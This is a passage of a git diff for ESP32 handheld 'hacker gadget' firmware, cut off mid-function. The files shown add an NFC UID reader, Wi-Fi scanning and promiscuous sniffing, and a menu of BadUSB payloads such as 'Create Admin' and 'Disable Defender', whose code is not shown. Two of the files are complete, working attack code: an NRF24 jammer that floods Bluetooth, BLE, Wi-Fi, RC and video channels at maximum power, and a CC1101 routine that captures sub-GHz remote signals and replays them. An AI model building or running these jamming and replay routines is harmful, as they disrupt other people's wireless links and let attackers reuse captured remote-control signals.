//pinMode(CSN2_PIN, OUTPUT); + //digitalWrite(CSN2_PIN, HIGH); + deactivateNRF1(); + deactivateNRF2(); + + RADIO_SPI = new SPIClass(FSPI); + RADIO_SPI->begin(NRF_SCK, NRF_MISO, NRF_MOSI); + + // ===== CC1101 SPI INIT ===== + //SPI.begin( + // cc1101_SCK, + // cc1101_MISO, + // cc1101_MOSI, + // CC1101_CS + //); + + //pinMode(CC1101_CS, OUTPUT); + //pinMode(CC1101_2_CS, OUTPUT); + + //digitalWrite(CC1101_CS, HIGH); + //digitalWrite(CC1101_2_CS, HIGH); + + printSystemUsage(); + + Serial.println("SYSTEM READY"); +} + +// ================= LOOP ================= +void loop() +{ + menuLoop(); +} diff --git a/src/nfc.cpp b/src/nfc.cpp new file mode 100644 index 0000000..3dcf5a9 --- /dev/null +++ b/src/nfc.cpp @@ -0,0 +1,117 @@ +#include "nfc.h" + +#include <Arduino.h> +#include <Wire.h> +#include <Adafruit_PN532.h> + +#include "ui/display.h" +#include "buttons.h" +#include "config.h" + +#define PN532_IRQ -1 +#define PN532_RESET -1 + +//Adafruit_PN532 nfc(Wire); +Adafruit_PN532 nfc(PN532_IRQ, PN532_RESET, &Wire); + +void drawWaiting() +{ + u8g2.clearBuffer(); + + u8g2.drawStr(10, 20, "PN532 Ready"); + u8g2.drawStr(10, 40, "Tap NFC Card"); + + u8g2.sendBuffer(); +} + +void showUID(uint8_t *uid, uint8_t uidLength) +{ + char line[64]; + + String uidStr = ""; + + for (int i = 0; i < uidLength; i++) + { + if (uid[i] < 0x10) + uidStr += "0"; + + uidStr += String(uid[i], HEX); + uidStr += " "; + } + + uidStr.toUpperCase(); + + u8g2.clearBuffer(); + + u8g2.drawStr(0, 15, "Card Detected"); + + snprintf(line, sizeof(line), "UID:"); + + u8g2.drawStr(0, 35, line); + + u8g2.drawStr(0, 50, uidStr.c_str()); + + u8g2.sendBuffer(); +} + +void pn532_init() +{ + delay(100); + nfc.begin(); + delay(100); + + uint32_t versiondata = nfc.getFirmwareVersion(); + + if (!versiondata) + { + Serial.println("PN532 not found"); + + u8g2.clearBuffer(); + u8g2.drawStr(0, 20, "PN532 NOT FOUND"); + u8g2.sendBuffer(); + + delay(2000); + return; + } + + Serial.println("PN532 initialized"); + + nfc.SAMConfig(); +} + +void pn532_scan_loop() +{ + pn532_init(); + + drawWaiting(); + + while (1) + { + uint8_t success; + uint8_t uid[7]; + uint8_t uidLength; + + Serial.println("Scanning..."); + success = nfc.readPassiveTargetID( + PN532_MIFARE_ISO14443A, + uid, + &uidLength, + 50 + ); + + if (success) + { + Serial.println("Card detected"); + + showUID(uid, uidLength); + + delay(1000); + } + + if (btnBack()) + { + delay(150); + break; + } + } +} diff --git a/src/nfc.h b/src/nfc.h new file mode 100644 index 0000000..1570b5d --- /dev/null +++ b/src/nfc.h @@ -0,0 +1,4 @@ +#pragma once + +void pn532_init(); +void pn532_scan_loop(); diff --git a/src/rf/cc1101.cpp b/src/rf/cc1101.cpp new file mode 100644 index 0000000..603a0d7 --- /dev/null +++ b/src/rf/cc1101.cpp @@ -0,0 +1,205 @@ +#include <Arduino.h> +#include "../libs/ELECHOUSE_CC1101_SRC_DRV.h" +#include "cc1101.h" +#include "../config.h" +#include "SPI.h" + +// ===== CONFIG ===== +#define RAW_BUF_MAX 512 + +// ===== STATE ===== +static bool cc1101Inited = false; + +// ===== CAPTURE STATE ===== +volatile unsigned long captureBuffer[RAW_BUF_MAX]; +volatile int pulseIndex = 0; +volatile unsigned long lastEdgeTime = 0; +volatile bool capturing = false; + +// ===== RF SETTINGS ===== +float currentFreq = 433.92; +float dataRate = 3.79372; +float deviation = 0.0; +float rxBW = 325.0; +int powerLevel = 10; + +// ===== ISR ===== +void IRAM_ATTR pulseISR() +{ + unsigned long now = micros(); + + if (!capturing) return; + if (pulseIndex >= RAW_BUF_MAX) return; + + unsigned long duration = now - lastEdgeTime; + + if (duration < 150) return; + + captureBuffer[pulseIndex++] = duration; + lastEdgeTime = now; +} + +// ===== OOK SETUP ===== +void setupOOKMode() +{ + ELECHOUSE_cc1101.SetRx(); + ELECHOUSE_cc1101.setMHZ(currentFreq); + + ELECHOUSE_cc1101.setModulation(2); // ASK/OOK + ELECHOUSE_cc1101.setDRate(dataRate); + ELECHOUSE_cc1101.setDeviation(0); + ELECHOUSE_cc1101.setRxBW(rxBW); + ELECHOUSE_cc1101.setSyncMode(0); + ELECHOUSE_cc1101.setPA(powerLevel); +} + +// ===== INIT (LAZY, SAFE) ===== +// ================= CC1101 INIT ================= +bool initCC1101() +{ + Serial.println(); + Serial.println("===== CC1101 INIT ====="); + + // ===== SPI ===== + SPI.begin( + cc1101_SCK, + cc1101_MISO, + cc1101_MOSI, + CC1101_CS + ); + + pinMode(CC1101_CS, OUTPUT); + digitalWrite(CC1101_CS, HIGH); + + delay(100); + + // ===== GDO ===== + ELECHOUSE_cc1101.setGDO( + CC1101_GDO0, + -1 + ); + + ELECHOUSE_cc1101.setSpiPin( + cc1101_SCK, + cc1101_MISO, + cc1101_MOSI, + CC1101_CS + ); + + // ===== DETECT ===== + Serial.println("Checking chip..."); + + if (!ELECHOUSE_cc1101.getCC1101()) + { + Serial.println("❌ CC1101 NOT FOUND"); + return false; + } + + Serial.println("✅ CC1101 FOUND"); + + // ===== IMPORTANT ===== + // DO NOT CALL Init() + // it freezes on some ESP32-S3 setups + + // ===== MANUAL CONFIG ===== + ELECHOUSE_cc1101.setMHZ(currentFreq); + + // 2 = ASK/OOK + ELECHOUSE_cc1101.setModulation(2); + + ELECHOUSE_cc1101.setDRate(dataRate); + + ELECHOUSE_cc1101.setRxBW(rxBW); + + ELECHOUSE_cc1101.setDeviation(0); + + // disable sync requirement + ELECHOUSE_cc1101.setSyncMode(0); + + ELECHOUSE_cc1101.setPA(powerLevel); + + // async serial mode + ELECHOUSE_cc1101.setCCMode(0); + + // enter RX + ELECHOUSE_cc1101.SetRx(); + + pinMode(CC1101_GDO0, INPUT); + + Serial.println("✅ RX MODE READY"); + + cc1101Inited = true; + return true; +} +// ===== CAPTURE CONTROL ===== +void startCapture() +{ + pulseIndex = 0; + capturing = true; + lastEdgeTime = micros(); + + attachInterrupt( + digitalPinToInterrupt(CC1101_GDO0), + pulseISR, + CHANGE + ); + + Serial.println("Looking for RF... "); +} + +bool isCC1101Ready() { + return cc1101Inited; +} + +void stopCapture() +{ + capturing = false; + + detachInterrupt(digitalPinToInterrupt(CC1101_GDO0)); + + Serial.println("Capture stopped"); +} + +// ===== DEBUG PRINT ===== +void printCapture() +{ + Serial.println("Captured pulses:"); + + for (int i = 0; i < pulseIndex; i++) + { + Serial.println(captureBuffer[i]); + } +} + + +// ================= REPLAY ================= +void replaySignal() +{ + Serial.println(); + Serial.println("Replaying signal..."); + + stopCapture(); + + ELECHOUSE_cc1101.SetTx(); + + pinMode(CC1101_GDO0, OUTPUT); + + for (int i = 0; i < pulseIndex; i++) + { + digitalWrite( + CC1101_GDO0, + (i % 2 == 0) ? HIGH : LOW + ); + + delayMicroseconds(captureBuffer[i]); + } + + digitalWrite(CC1101_GDO0, LOW); + + ELECHOUSE_cc1101.SetRx(); + + pinMode(CC1101_GDO0, INPUT); + + Serial.println("Replay complete"); +} + diff --git a/src/rf/cc1101.h b/src/rf/cc1101.h new file mode 100644 index 0000000..a403edb --- /dev/null +++ b/src/rf/cc1101.h @@ -0,0 +1,9 @@ +#pragma once + +bool initCC1101(); +bool isCC1101Ready(); + +void startCapture(); +void stopCapture(); +void printCapture(); +void replaySignal(); diff --git a/src/rf/nrf24.cpp b/src/rf/nrf24.cpp new file mode 100644 index 0000000..0479985 --- /dev/null +++ b/src/rf/nrf24.cpp @@ -0,0 +1,249 @@ +#include <Arduino.h> +#include <RF24.h> +#include "nrf24.h" +#include "../ui/display.h" +#include "../buttons.h" +#define JAM_DURATION 500 + +extern SPIClass *RADIO_SPI; +extern RF24 radio1; +extern RF24 radio2; + +// ============ CHANNELS ============= +const byte bleChannels[] = {2, 26, 80}; +const byte bluetoothChannels[] = { + 32, 34, 46, 48, 50, 52, + 0, 1, 2, 4, 6, 8, + 22, 24, 26, 28, 30, + 74, 76, 78, 80 +}; +const byte wifiChannels[] = { + 12, 17, 22, 27, 32, + 37, 42, 47, 52, 57, + 62, 67, 72 +}; +const byte usbWireless_channels[] = {40, 50, 60}; +const byte videoTransmitter_channels[] = {70, 75, 80}; +const byte zigbee_channels[] = {11, 15, 20, 25}; +const byte rc_channels[] = {1, 3, 5, 7}; + +void initNRF(RF24 &radio) +{ + if (!radio.begin(RADIO_SPI)) { + Serial.println("NRF not found"); + return; + } + + radio.setAutoAck(false); + radio.stopListening(); + radio.setRetries(0, 0); + radio.setPALevel(RF24_PA_MAX, true); + radio.setDataRate(RF24_2MBPS); + radio.openWritingPipe(0xE7E7E7E7E7LL); + radio.setCRCLength(RF24_CRC_DISABLED); + Serial.println("NRF Initialized"); + +} + + + +//void startBleJammer() { +// initNRF(radio1); +// initNRF(radio2); +// +// Serial.println("NRF JAMMER STARTED"); +// +// const char payload[] = "xxxxxxxxxxxxxxxx"; +// +// u8g2.clearBuffer(); +// u8g2.drawStr(0, 10, "Jamming:"); +// u8g2.setCursor(60, 10); +// u8g2.print("Bluetooth"); +// u8g2.sendBuffer(); +// +// while(true) { +// +// // Channels (you can change this set) +// const byte channels[] = {2, 26, 80}; +// +// +// for (int i = 0; i < sizeof(channels); i++) { +// radio1.setChannel(channels[i]); +// radio1.write(&payload, sizeof(payload)); +// //radio2.setChannel(channels[i]); +// //radio2.write(&payload, sizeof(payload)); +// } +// +// if (btnBack()) +// { +// Serial.println("Jammer stopped"); +// return; +// } +// } +// +//} +// +//void startBluetoothJammer() +//{ +// initNRF(radio1); +// initNRF(radio2); +// +// Serial.println("NRF JAMMER STARTED"); +// +// const char payload[] = "xxxxxxxxxxxxxxxx"; +// +// u8g2.clearBuffer(); +// u8g2.drawStr(0, 10, "Jamming:"); +// u8g2.setCursor(60, 10); +// u8g2.print("Bluetooth"); +// u8g2.sendBuffer(); +// +// while(true) { +// +// // Channels (you can change this set) +// const byte channels[] = {32, 34, 46, 48, 50, 52, 0, 1, 2, 4, 6, 8, 22, 24, 26, 28, 30, 74, 76, 78, 80}; +// +// +// for (int i = 0; i < sizeof(channels); i++) { +// radio1.setChannel(channels[i]); +// radio1.write(&payload, sizeof(payload)); +// //radio2.setChannel(channels[i]); +// //radio2.write(&payload, sizeof(payload)); +// } +// +// if (btnBack()) +// { +// Serial.println("Jammer stopped"); +// return; +// } +// } +//} + +void startJammer(const char* name, const byte* channels, size_t channelCount) +{ + initNRF(radio1); + initNRF(radio2); + + Serial.println("NRF JAMMER STARTED"); + + const char payload[] = "xxxxxxxxxxxxxxxx"; + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x10_tr); + u8g2.drawStr(0, 15, "NRF24 Jammer"); + u8g2.drawStr(0, 35, name); + u8g2.drawStr(0, 55, "BACK = Exit"); + u8g2.sendBuffer(); + + while (true) + { + for (size_t i = 0; i < channelCount; i++) + { + //radio1.setChannel(channels[i]); + //radio1.write(&payload, sizeof(payload)); + + // Optional second NRF + // radio2.setChannel(channels[i]); + // radio2.write(&payload, sizeof(payload)); + + + radio1.setChannel(channels[i]); + radio2.setChannel(channels[(i + 1) % channelCount]); + + radio1.writeFast(&payload, sizeof(payload)); + radio2.writeFast(&payload, sizeof(payload)); + } + + if (btnBack()) + { + Serial.println("Jammer stopped"); + radio1.powerDown(); + radio2.powerDown(); + return; + } + } + + //while (true) { + //for (size_t i = 0; i < channelCount; i++) + //{ + // radio1.setChannel(channels[i]); + // radio2.setChannel(channels[(i + 1) % channelCount]); + + // radio1.writeFast(&payload, sizeof(payload)); + // radio2.writeFast(&payload, sizeof(payload)); + + // radio1.txStandBy(1); + // radio2.txStandBy(1); + + // delayMicroseconds(200); + //} + + + //if (btnBack()) + //{ + // Serial.println("Jammer stopped"); + + // radio1.powerDown(); + // radio2.powerDown(); + + // return; + //} +//} +} + +void NRFToolsMenu(int index) { + switch (index) { + case 0: + // startBleJammer(); + // BLE + startJammer( + "BLE", + bleChannels, + sizeof(bleChannels) / sizeof(bleChannels[0]) + ); + + break; + case 1: + // startBluetoothJammer(); + // Bluetooth + startJammer( + "Bluetooth", + bluetoothChannels, + sizeof(bluetoothChannels) / sizeof(bluetoothChannels[0]) + ); + break; + + case 2: + startJammer( + "WiFi", + wifiChannels, + sizeof(wifiChannels) / sizeof(wifiChannels[0]) + ); + break; + case 3: + startJammer( + "USB Wireless", + usbWireless_channels, + sizeof(usbWireless_channels) / sizeof(usbWireless_channels[0]) + ); + break; + case 4: + startJammer( + "Video TX", + videoTransmitter_channels, + sizeof(videoTransmitter_channels) / sizeof(videoTransmitter_channels[0]) + ); + break; + case 5: + break; + startJammer( + "RC", + rc_channels, + sizeof(rc_channels) / sizeof(rc_channels[0]) + ); + break; + case 6: + + break; +} + } diff --git a/src/rf/nrf24.h b/src/rf/nrf24.h new file mode 100644 index 0000000..308bbc4 --- /dev/null +++ b/src/rf/nrf24.h @@ -0,0 +1,13 @@ +#pragma once + +#include <RF24.h> + +// Initialization +void initNRF(RF24 &radio); + +void startBluetoothJammer(); +void startBleJammer(); + +void startJammer(const char* name, const byte* channels, size_t channelCount); + +void NRFToolsMenu(int index); diff --git a/src/sysinfo.cpp b/src/sysinfo.cpp new file mode 100644 index 0000000..046933e --- /dev/null +++ b/src/sysinfo.cpp @@ -0,0 +1,87 @@ +#include <Arduino.h> +#include "ui/display.h" +#include "buttons.h" +#include <esp_chip_info.h> +#include <esp_heap_caps.h> + +void runSystemInfoFeature() +{ + esp_chip_info_t chip_info; + + esp_chip_info(&chip_info); + + while (true) + { + //u8g2.clearBuffer(); + + //char buf[32]; + + //sprintf(buf, "Cores: %d", chip_info.cores); + //u8g2.drawStr(0, 14, buf); + + //sprintf(buf, "Heap: %d", + // heap_caps_get_free_size(MALLOC_CAP_DEFAULT)); + //u8g2.drawStr(0, 28, buf); + + + //u8g2.drawStr(0, 60, "BACK to exit"); + + // Get RAM info + size_t freeHeap = heap_caps_get_free_size(MALLOC_CAP_DEFAULT); + size_t totalHeap = heap_caps_get_total_size(MALLOC_CAP_DEFAULT); + int ramUsage = 100 - ((freeHeap * 100) / totalHeap); + + // Get Flash info + //uint32_t flashSize = spi_flash_get_chip_size(); + uint32_t flashSize = ESP.getFlashChipSize(); + uint32_t flashUsed = ESP.getSketchSize(); + int flashUsage = (flashUsed * 100) / flashSize; + + // Temperature (approx) + uint8_t temperature = temperatureRead(); + + // Chip info + esp_chip_info_t chip_info; + esp_chip_info(&chip_info); + + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x12_tr); + + char buf[32]; + + // Box 1 - RAM + u8g2.drawFrame(0, 0, 128, 12); + sprintf(buf, "RAM: %d%% used", ramUsage); + u8g2.drawStr(4, 9, buf); + + // Box 2 - Flash + u8g2.drawFrame(0, 12, 128, 12); + sprintf(buf, "Flash: %d%% used", flashUsage); + u8g2.drawStr(4, 21, buf); + + // Box 3 - Temp (FULL WIDTH now) + u8g2.drawFrame(0, 24, 128, 12); + sprintf(buf, "Temp: %d C", temperature); + u8g2.drawStr(4, 33, buf); + + // Box 4 - Chip info (FULL WIDTH) + u8g2.drawFrame(0, 36, 128, 12); + sprintf(buf, "Cores: %d Rev: %d", chip_info.cores, chip_info.revision); + u8g2.drawStr(4, 45, buf); + + // Box 5 - PSRAM (KB) + u8g2.drawFrame(0, 48, 128, 12); + sprintf(buf, "PSRAM: %lu KB", heap_caps_get_free_size(MALLOC_CAP_SPIRAM) / 1024); + u8g2.drawStr(4, 57, buf); + + u8g2.sendBuffer(); + + if (btnBack()) + { + delay(200); + return; + } + + delay(100); + } +} diff --git a/src/sysinfo.h b/src/sysinfo.h new file mode 100644 index 0000000..8a4f176 --- /dev/null +++ b/src/sysinfo.h @@ -0,0 +1,3 @@ +#pragma once + +void runSystemInfoFeature(); diff --git a/src/ui/display.cpp b/src/ui/display.cpp new file mode 100644 index 0000000..12c9ac9 --- /dev/null +++ b/src/ui/display.cpp @@ -0,0 +1,16 @@ +#include "display.h" +#include <Wire.h> +#include "config.h" + + +U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2( + U8G2_R0, + U8X8_PIN_NONE +); + +void displayInit() +{ + Wire.begin(OLED_SDA_PIN, OLED_SCL_PIN); + u8g2.begin(); + u8g2.setFont(u8g2_font_6x12_tr); +} diff --git a/src/ui/display.h b/src/ui/display.h new file mode 100644 index 0000000..0b48b75 --- /dev/null +++ b/src/ui/display.h @@ -0,0 +1,7 @@ +#pragma once + +#include <U8g2lib.h> + +extern U8G2_SSD1306_128X64_NONAME_F_HW_I2C u8g2; + +void displayInit(); diff --git a/src/ui/menu.cpp b/src/ui/menu.cpp new file mode 100644 index 0000000..2c8c3cd --- /dev/null +++ b/src/ui/menu.cpp @@ -0,0 +1,402 @@ +#include <Arduino.h> +#include "menu.h" +#include "display.h" +#include "buttons.h" +#include "badusb.h" +#include "rf/nrf24.h" +#include "rf/cc1101.h" +#include "blescanner.h" +#include "wifi/wifi_scan.h" +#include "wifi/wifi_analyzer.h" +#include "device_check.h" +#include "ble_mouse.h" +#include "sysinfo.h" +#include "BleMouse.h" +#include "nfc.h" + +// ================= MENU DATA ================= +extern BleMouse bleMouse; + +// Root menu +const char *mainMenuItems[] = { + "BadUSB", + "RF Capture", + "NRF Tools", + "BLE Scan", + "Wifi Scan", + "Wifi Analyzer", + "System Info", + "Device Check", + "Restart", + "Ble Mouse", + "NFC Tools" +}; + +Menu mainMenu = {mainMenuItems, sizeof(mainMenuItems) / sizeof(mainMenuItems[0])}; + + +// NRF Tools menu +const char *nrfToolsItems[] = { + "BLE Jammer", + "Bluetooth Jammer", + "Wifi Jammer", + "USB Wireless", + "Video TX", + "Zigbee", + "RC" + +}; + +Menu nrfToolsMenu = {nrfToolsItems, sizeof(nrfToolsItems) / sizeof(nrfToolsItems[0])}; + + +// BadUSB submenu +const char *badusbItems[] = {"DEMO", + "KEYBOARD", + "HID SCRIPT", + "Open Notepad", + "Open CMD", + "Show IP", + "Shutdown", + "RickRoll", + "Create Admin", + "Disable Defender", + "Open YouTube", + "Lock PC", + "Fake Update", + "Endless Notepad", + "Fake BSOD", + "Flip Screen", + "Matrix Effect", + "I'm Watching U", + "Open Google", + "Open telegram", + "Play Alarm Sound", + "Endless CMD", + "Type Gibberish", + "Spam CAPSLOCK", + "Open Calc", + "Auto 'Hacked!'", + "Turn Off Monitor", + "Open RegEdit", + "Kill Explorer", + "Flash Screen", + "Rename Desktop", + "Toggle WiFi", + "Auto Screenshot", + "Spam Emojis", + "Open Ctrl Panel", + "Troll Wallpaper", + "Open MS Paint", + "Tab Switcher"}; + + +Menu badusbMenu = {badusbItems, sizeof(badusbItems) / sizeof(badusbItems[0])}; + +// ================= MENU STATE ================= + +Menu *currentMenu = &mainMenu; + +int menuIndex = 0; +int menuOffset = 0; + +#define MENU_VISIBLE_ROWS 4 + +bool insideFeature = false; + +// ================= DRAW ================= + +void drawMenu() +{ + u8g2.clearBuffer(); + + // scroll handling + if (menuIndex < menuOffset) + menuOffset = menuIndex; + + if (menuIndex >= menuOffset + MENU_VISIBLE_ROWS) + menuOffset = menuIndex - MENU_VISIBLE_ROWS + 1; + + for (int i = 0; i < MENU_VISIBLE_ROWS; i++) + { + int item = menuOffset + i; + + if (item >= currentMenu->size) + break; + + if (item == menuIndex) + u8g2.drawStr(0, 14 + i * 14, ">"); + + u8g2.drawStr(10, 14 + i * 14, currentMenu->items[item]); + } + + // scroll indicators + if (menuOffset > 0) + u8g2.drawStr(118, 10, "^"); + + if (menuOffset + MENU_VISIBLE_ROWS < currentMenu->size) + u8g2.drawStr(118, 62, "v"); + + u8g2.sendBuffer(); +} + +// ================= FEATURE EXECUTION ================= + +void launchFeature() +{ + insideFeature = true; + + if (currentMenu == &mainMenu) + { + switch (menuIndex) + { + case 0: // BadUSB → enter submenu + currentMenu = &badusbMenu; + menuIndex = 0; + menuOffset = 0; + break; + + case 1: + if (!isCC1101Ready()) { + if (!initCC1101()) { + Serial.println("CC1101 failed"); + return; + } + } + + Serial.println("Ready to capture..."); + + startCapture(); + delay(5000); + stopCapture(); + printCapture(); + delay(5000); + replaySignal(); + break; + + case 2: + // startNRFJammer(); + //startBleJammer(); + //startBluetoothJammer(); + currentMenu = &nrfToolsMenu; + menuIndex = 0; + menuOffset = 0; + break; + + break; + case 3: + ble_scan(); + ble_drawMenu(); + while (1) { + ble_loop(); + if (btnBack()) + break; + } + break; + + case 4: + { + // Start scan once + wifi_scan_start(); + wifi_scan_draw(); + + while (1) { + wifi_scan_loop(); + // EXIT condition handled ONLY here + if (btnBack()) { + delay(150); // debounce + break; + } + } + break; + } + case 5: + { + + wifi_analyzer_start(); + + bool prevBack = false; + while (1) + { + wifi_analyzer_loop(); + bool nowBack = btnBack(); + if (nowBack && !prevBack) + { + delay(150); + break; + } + prevBack = nowBack; + } + break; + } + + case 6: + runSystemInfoFeature(); + break; + case 7: + device_check_run(); + break; + case 8: + { + // wait for button release + delay(200); + + while (btnSelect()) + delay(10); + bool confirm = false; + + while (1) + { + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_6x13_tr); + + u8g2.drawStr(18, 18, "Restart Device?"); + + if (confirm) + { + u8g2.drawBox(10, 35, 45, 15); + u8g2.setDrawColor(0); + u8g2.drawStr(20, 47, "YES"); + u8g2.setDrawColor(1); + + u8g2.drawStr(75, 47, "NO"); + } + else + { + u8g2.drawStr(20, 47, "YES"); + + u8g2.drawBox(65, 35, 45, 15); + u8g2.setDrawColor(0); + u8g2.drawStr(78, 47, "NO"); + u8g2.setDrawColor(1); + } + + u8g2.sendBuffer(); + + if (btnLeft() || btnUp()) + { + confirm = true; + delay(150); + } + + if (btnRight() || btnDown()) + { + confirm = false; + delay(150); + } + + if (btnSelect()) + { + delay(150); + + if (confirm) + { + u8g2.clearBuffer(); + u8g2.drawStr(28, 30, "Restarting..."); + u8g2.sendBuffer(); + + delay(1000); + ESP.restart(); + } + else + { + break; + } + } + + if (btnBack()) + { + delay(150); + break; + } + } + } + break; + + case 9: + // Begin Ble mouse + bleMouse.begin(); + ble_mouse_run(); + break; + case 10: + pn532_scan_loop(); + break; + } + } + else if (currentMenu == &badusbMenu) + { + badUSBMenu(menuIndex); + } else if (currentMenu == &nrfToolsMenu) { + NRFToolsMenu(menuIndex); + } + + insideFeature = false; + + drawMenu(); +} + +// ================= INIT ================= + +void menuInit() +{ + currentMenu = &mainMenu; + menuIndex = 0; + menuOffset = 0; + + drawMenu(); +} + +// ================= LOOP ================= + +void menuLoop() +{ + static uint32_t lastPress = 0; + + if (insideFeature) + return; + + if (millis() - lastPress < 150) + return; + + if (btnUp()) + { + menuIndex--; + + if (menuIndex < 0) + menuIndex = currentMenu->size - 1; + + drawMenu(); + lastPress = millis(); + } + + else if (btnDown()) + { + menuIndex++; + + if (menuIndex >= currentMenu->size) + menuIndex = 0; + + drawMenu(); + lastPress = millis(); + } + + else if (btnSelect()) + { + launchFeature(); + lastPress = millis(); + } + + else if (btnBack()) + { + if (currentMenu != &mainMenu) + { + currentMenu = &mainMenu; + menuIndex = 0; + menuOffset = 0; + + drawMenu(); + } + + lastPress = millis(); + } +} diff --git a/src/ui/menu.h b/src/ui/menu.h new file mode 100644 index 0000000..c51cd24 --- /dev/null +++ b/src/ui/menu.h @@ -0,0 +1,10 @@ +#pragma once + +struct Menu +{ + const char **items; + int size; +}; + +void menuInit(); +void menuLoop(); diff --git a/src/wifi/wifi_analyzer.cpp b/src/wifi/wifi_analyzer.cpp new file mode 100644 index 0000000..320e826 --- /dev/null +++ b/src/wifi/wifi_analyzer.cpp @@ -0,0 +1,147 @@ +#include <Arduino.h> +#include <WiFi.h> +#include <esp_wifi.h> + +#include "../ui/display.h" +#include "../buttons.h" + +// ===== CONFIG ===== +#define GRAPH_WIDTH 128 +#define GRAPH_HEIGHT 44 +#define GRAPH_TOP 10 +#define MAX_POINTS 128 +#define SPIKE_THRESHOLD 30 + +// ===== STATE ===== +struct SnifferGraph { + uint8_t graphData[MAX_POINTS]; + uint8_t currentChannel = 1; + volatile uint16_t packetCounter = 0; + unsigned long lastChannelSwitch = 0; + unsigned long lastUpdate = 0; +}; + +static SnifferGraph sniffer; + +// ===== CALLBACK ===== +void IRAM_ATTR snifferCallback(void *buf, wifi_promiscuous_pkt_type_t type) +{ + if (type == WIFI_PKT_MGMT || type == WIFI_PKT_DATA || type == WIFI_PKT_CTRL) + { + sniffer.packetCounter++; + } +} + +// ===== INIT ===== +void wifi_analyzer_start() +{ + // display init (safe to call again) + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 10, "Starting analyzer..."); + u8g2.sendBuffer(); + + // reset graph + memset(sniffer.graphData, 0, sizeof(sniffer.graphData)); + sniffer.packetCounter = 0; + sniffer.currentChannel = 1; + + // reset WiFi + WiFi.disconnect(true, true); + esp_wifi_stop(); + delay(200); + esp_wifi_deinit(); + + wifi_init_config_t cfg = WIFI_INIT_CONFIG_DEFAULT(); + esp_wifi_init(&cfg); + esp_wifi_set_storage(WIFI_STORAGE_RAM); + esp_wifi_set_mode(WIFI_MODE_NULL); + esp_wifi_start(); + + esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); + esp_wifi_set_promiscuous_rx_cb(snifferCallback); + esp_wifi_set_promiscuous(true); +} + +// ===== HELPERS ===== +static void switchChannel() +{ + sniffer.currentChannel++; + if (sniffer.currentChannel > 13) sniffer.currentChannel = 1; + + esp_wifi_set_channel(sniffer.currentChannel, WIFI_SECOND_CHAN_NONE); +} + +static void updateGraph(uint8_t value) +{ + for (int i = 0; i < MAX_POINTS - 1; i++) + { + sniffer.graphData[i] = sniffer.graphData[i + 1]; + } + + sniffer.graphData[MAX_POINTS - 1] = value; +} + +static void drawGraph(uint16_t pktCount) +{ + u8g2.clearBuffer(); + u8g2.setFont(u8g2_font_5x8_tr); + + char line1[16]; + char line2[16]; + + sprintf(line1, "Ch:%d", sniffer.currentChannel); + sprintf(line2, "Pkts:%d", pktCount * 5); + + u8g2.drawStr(0, 8, line1); + u8g2.drawStr(60, 8, line2); + + for (int x = 1; x < GRAPH_WIDTH; x++) + { + int y1 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x - 1]; + int y2 = GRAPH_TOP + GRAPH_HEIGHT - sniffer.graphData[x]; + + u8g2.drawLine(x - 1, y1, x, y2); + } + + if (pktCount >= SPIKE_THRESHOLD) + { + u8g2.drawVLine(GRAPH_WIDTH / 2, GRAPH_TOP, GRAPH_HEIGHT); + } + + u8g2.sendBuffer(); +} + +// ===== LOOP ===== +void wifi_analyzer_loop() +{ + static uint32_t lastPress = 0; + unsigned long now = millis(); + + // channel hopping + if (now - sniffer.lastChannelSwitch >= 1000) + { + sniffer.lastChannelSwitch = now; + switchChannel(); + } + + // graph update + if (now - sniffer.lastUpdate >= 200) + { + sniffer.lastUpdate = now; + + uint16_t pktCount = sniffer.packetCounter; + + uint8_t scaled = pktCount * 2; + uint8_t value = min(scaled, (uint8_t)GRAPH_HEIGHT); + + updateGraph(value); + drawGraph(pktCount); + + sniffer.packetCounter = 0; + } + + // optional: small debounce to not hammer CPU + if (millis() - lastPress < 10) + return; +} diff --git a/src/wifi/wifi_analyzer.h b/src/wifi/wifi_analyzer.h new file mode 100644 index 0000000..df68284 --- /dev/null +++ b/src/wifi/wifi_analyzer.h @@ -0,0 +1,4 @@ +#pragma once + +void wifi_analyzer_start(); +void wifi_analyzer_loop(); diff --git a/src/wifi/wifi_scan.cpp b/src/wifi/wifi_scan.cpp new file mode 100644 index 0000000..0b20d3d --- /dev/null +++ b/src/wifi/wifi_scan.cpp @@ -0,0 +1,152 @@ +#include <Arduino.h> +#include <WiFi.h> +#include "../ui/display.h" +#include "../buttons.h" + +#define MAX_NETWORKS 30 + +struct WiFiNet { + String ssid; + int rssi; + int channel; + bool encrypted; +}; + +static WiFiNet networks[MAX_NETWORKS]; +static int networkCount = 0; +static int selectedIndex = 0; + +// ===== SCAN ===== +void wifi_scan_start() +{ + u8g2.clearBuffer(); + u8g2.drawStr(10, 30, "Scanning WiFi..."); + u8g2.sendBuffer(); + + WiFi.mode(WIFI_STA); + WiFi.disconnect(); + + delay(100); + + int n = WiFi.scanNetworks(); + + networkCount = min(n, MAX_NETWORKS); + + for (int i = 0; i < networkCount; i++) + { + networks[i].ssid = WiFi.SSID(i); + networks[i].rssi = WiFi.RSSI(i); + networks[i].channel = WiFi.channel(i); + networks[i].encrypted = (WiFi.encryptionType(i) != WIFI_AUTH_OPEN); + } + + selectedIndex = 0; +} + +// ===== DRAW ===== +void wifi_scan_draw() +{ + u8g2.clearBuffer(); + + if (networkCount == 0) + { + u8g2.drawStr(0, 30, "No networks"); + u8g2.drawStr(0, 45, "Press BACK"); + } + else + { + char counter[20]; + sprintf(counter, "%d/%d", selectedIndex + 1, networkCount); + u8g2.setFont(u8g2_font_5x8_tr); + u8g2.drawStr(0, 8, counter); + + u8g2.setFont(u8g2_font_6x10_tr); + + for (int i = 0; i < 3; i++) + { + int idx = selectedIndex + i; + if (idx >= networkCount) break; + + int y = 22 + i * 14; + + if (i == 0) + { + u8g2.drawBox(0, y - 10, 128, 12); + u8g2.setDrawColor(0); + } + + String text = networks[idx].ssid; + if (text.length() > 10) + text = text.substring(0, 10) + ".."; + + text += " (" + String(networks[idx].rssi) + ")"; + + u8g2.drawStr(2, y, text.c_str()); + + if (i == 0) + u8g2.setDrawColor(1); + } + } + + u8g2.sendBuffer(); +} + +// ===== DETAILS ===== +void wifi_drawDetails() +{ + if 